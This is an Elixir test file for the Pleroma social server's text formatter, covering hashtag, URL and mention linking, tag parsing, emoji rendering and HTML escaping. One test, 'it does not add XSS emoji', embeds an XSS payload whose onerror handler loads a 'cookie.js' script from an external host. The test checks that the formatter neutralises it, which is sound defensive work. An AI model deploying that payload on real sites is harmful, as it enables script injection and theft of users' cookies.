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   1 # Pleroma: A lightweight social networking server
   2 # Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
   3 # SPDX-License-Identifier: AGPL-3.0-only
   4
   5 defmodule Pleroma.FormatterTest do
   6   alias Pleroma.Formatter
   7   alias Pleroma.User
   8   use Pleroma.DataCase
   9
  10   import Pleroma.Factory
  11
  12   setup_all do
  13     Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  14     :ok
  15   end
  16
  17   describe ".add_hashtag_links" do
  18     test "turns hashtags into links" do
  19       text = "I love #cofe and #2hu"
  20
  21       expected_text =
  22         "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  23
  24       assert {^expected_text, [], _tags} = Formatter.linkify(text)
  25     end
  26
  27     test "does not turn html characters to tags" do
  28       text = "#fact_3: pleroma does what mastodon't"
  29
  30       expected_text =
  31         "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
  32
  33       assert {^expected_text, [], _tags} = Formatter.linkify(text)
  34     end
  35   end
  36
  37   describe ".add_links" do
  38     test "turning urls into links" do
  39       text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  40
  41       expected =
  42         "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  43
  44       assert {^expected, [], []} = Formatter.linkify(text)
  45
  46       text = "https://mastodon.social/@lambadalambda"
  47
  48       expected =
  49         "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  50
  51       assert {^expected, [], []} = Formatter.linkify(text)
  52
  53       text = "https://mastodon.social:4000/@lambadalambda"
  54
  55       expected =
  56         "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  57
  58       assert {^expected, [], []} = Formatter.linkify(text)
  59
  60       text = "@lambadalambda"
  61       expected = "@lambadalambda"
  62
  63       assert {^expected, [], []} = Formatter.linkify(text)
  64
  65       text = "http://www.cs.vu.nl/~ast/intel/"
  66       expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  67
  68       assert {^expected, [], []} = Formatter.linkify(text)
  69
  70       text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  71
  72       expected =
  73         "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  74
  75       assert {^expected, [], []} = Formatter.linkify(text)
  76
  77       text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  78
  79       expected =
  80         "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  81
  82       assert {^expected, [], []} = Formatter.linkify(text)
  83
  84       text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  85
  86       expected =
  87         "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  88
  89       assert {^expected, [], []} = Formatter.linkify(text)
  90
  91       text = "https://en.wikipedia.org/wiki/Duff's_device"
  92
  93       expected =
  94         "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
  95
  96       assert {^expected, [], []} = Formatter.linkify(text)
  97
  98       text = "https://pleroma.com https://pleroma.com/sucks"
  99
 100       expected =
 101         "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
 102
 103       assert {^expected, [], []} = Formatter.linkify(text)
 104
 105       text = "xmpp:contact@hacktivis.me"
 106
 107       expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
 108
 109       assert {^expected, [], []} = Formatter.linkify(text)
 110
 111       text =
 112         "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
 113
 114       expected = "<a href=\"#{text}\">#{text}</a>"
 115
 116       assert {^expected, [], []} = Formatter.linkify(text)
 117     end
 118   end
 119
 120   describe "add_user_links" do
 121     test "gives a replacement for user links, using local nicknames in user links text" do
 122       text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
 123       gsimg = insert(:user, %{nickname: "gsimg"})
 124
 125       archaeme =
 126         insert(:user, %{
 127           nickname: "archa_eme_",
 128           info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
 129         })
 130
 131       archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 132
 133       {text, mentions, []} = Formatter.linkify(text)
 134
 135       assert length(mentions) == 3
 136
 137       expected_text =
 138         "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
 139           gsimg.ap_id
 140         }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
 141           archaeme.id
 142         }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
 143           archaeme_remote.id
 144         }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
 145
 146       assert expected_text == text
 147     end
 148
 149     test "gives a replacement for user links when the user is using Osada" do
 150       {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com")
 151
 152       text = "@mike@osada.macgirvin.com test"
 153
 154       {text, mentions, []} = Formatter.linkify(text)
 155
 156       assert length(mentions) == 1
 157
 158       expected_text =
 159         "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
 160
 161       assert expected_text == text
 162     end
 163
 164     test "gives a replacement for single-character local nicknames" do
 165       text = "@o hi"
 166       o = insert(:user, %{nickname: "o"})
 167
 168       {text, mentions, []} = Formatter.linkify(text)
 169
 170       assert length(mentions) == 1
 171
 172       expected_text =
 173         "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
 174
 175       assert expected_text == text
 176     end
 177
 178     test "does not give a replacement for single-character local nicknames who don't exist" do
 179       text = "@a hi"
 180
 181       expected_text = "@a hi"
 182       assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
 183     end
 184
 185     test "given the 'safe_mention' option, it will only mention people in the beginning" do
 186       user = insert(:user)
 187       other_user = insert(:user)
 188       third_user = insert(:user)
 189       text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}"
 190       {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
 191
 192       assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
 193
 194       assert expected_text ==
 195                "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
 196                  user.ap_id
 197                }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
 198                  other_user.id
 199                }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
 200                  third_user.id
 201                }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
 202     end
 203
 204     test "given the 'safe_mention' option, it will still work without any mention" do
 205       text = "A post without any mention"
 206       {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)
 207
 208       assert mentions == []
 209       assert expected_text == text
 210     end
 211
 212     test "given the 'safe_mention' option, it will keep text after newlines" do
 213       user = insert(:user)
 214       text = " @#{user.nickname}\n hey dude\n\nhow are you doing?"
 215
 216       {expected_text, _, _} = Formatter.linkify(text, safe_mention: true)
 217
 218       assert expected_text =~ "how are you doing?"
 219     end
 220   end
 221
 222   describe ".parse_tags" do
 223     test "parses tags in the text" do
 224       text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"
 225
 226       expected_tags = [
 227         {"#Test", "test"},
 228         {"#working", "working"},
 229         {"#は", "は"},
 230         {"#漢字", "漢字"}
 231       ]
 232
 233       assert {_text, [], ^expected_tags} = Formatter.linkify(text)
 234     end
 235   end
 236
 237   test "it can parse mentions and return the relevant users" do
 238     text =
 239       "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
 240
 241     o = insert(:user, %{nickname: "o"})
 242     jimm = insert(:user, %{nickname: "jimm"})
 243     gsimg = insert(:user, %{nickname: "gsimg"})
 244     archaeme = insert(:user, %{nickname: "archaeme"})
 245     archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
 246
 247     expected_mentions = [
 248       {"@archaeme", archaeme},
 249       {"@archaeme@archae.me", archaeme_remote},
 250       {"@gsimg", gsimg},
 251       {"@jimm", jimm},
 252       {"@o", o}
 253     ]
 254
 255     assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
 256   end
 257
 258   test "it adds cool emoji" do
 259     text = "I love :firefox:"
 260
 261     expected_result =
 262       "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
 263
 264     assert Formatter.emojify(text) == expected_result
 265   end
 266
 267   test "it does not add XSS emoji" do
 268     text =
 269       "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
 270
 271     custom_emoji = %{
 272       "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
 273         "https://placehold.it/1x1"
 274     }
 275
 276     expected_result =
 277       "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
 278
 279     assert Formatter.emojify(text, custom_emoji) == expected_result
 280   end
 281
 282   test "it returns the emoji used in the text" do
 283     text = "I love :firefox:"
 284
 285     assert Formatter.get_emoji(text) == [
 286              {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
 287            ]
 288   end
 289
 290   test "it returns a nice empty result when no emojis are present" do
 291     text = "I love moominamma"
 292     assert Formatter.get_emoji(text) == []
 293   end
 294
 295   test "it doesn't die when text is absent" do
 296     text = nil
 297     assert Formatter.get_emoji(text) == []
 298   end
 299
 300   test "it escapes HTML in plain text" do
 301     text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
 302     expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
 303
 304     assert Formatter.html_escape(text, "text/plain") == expected
 305   end
 306 end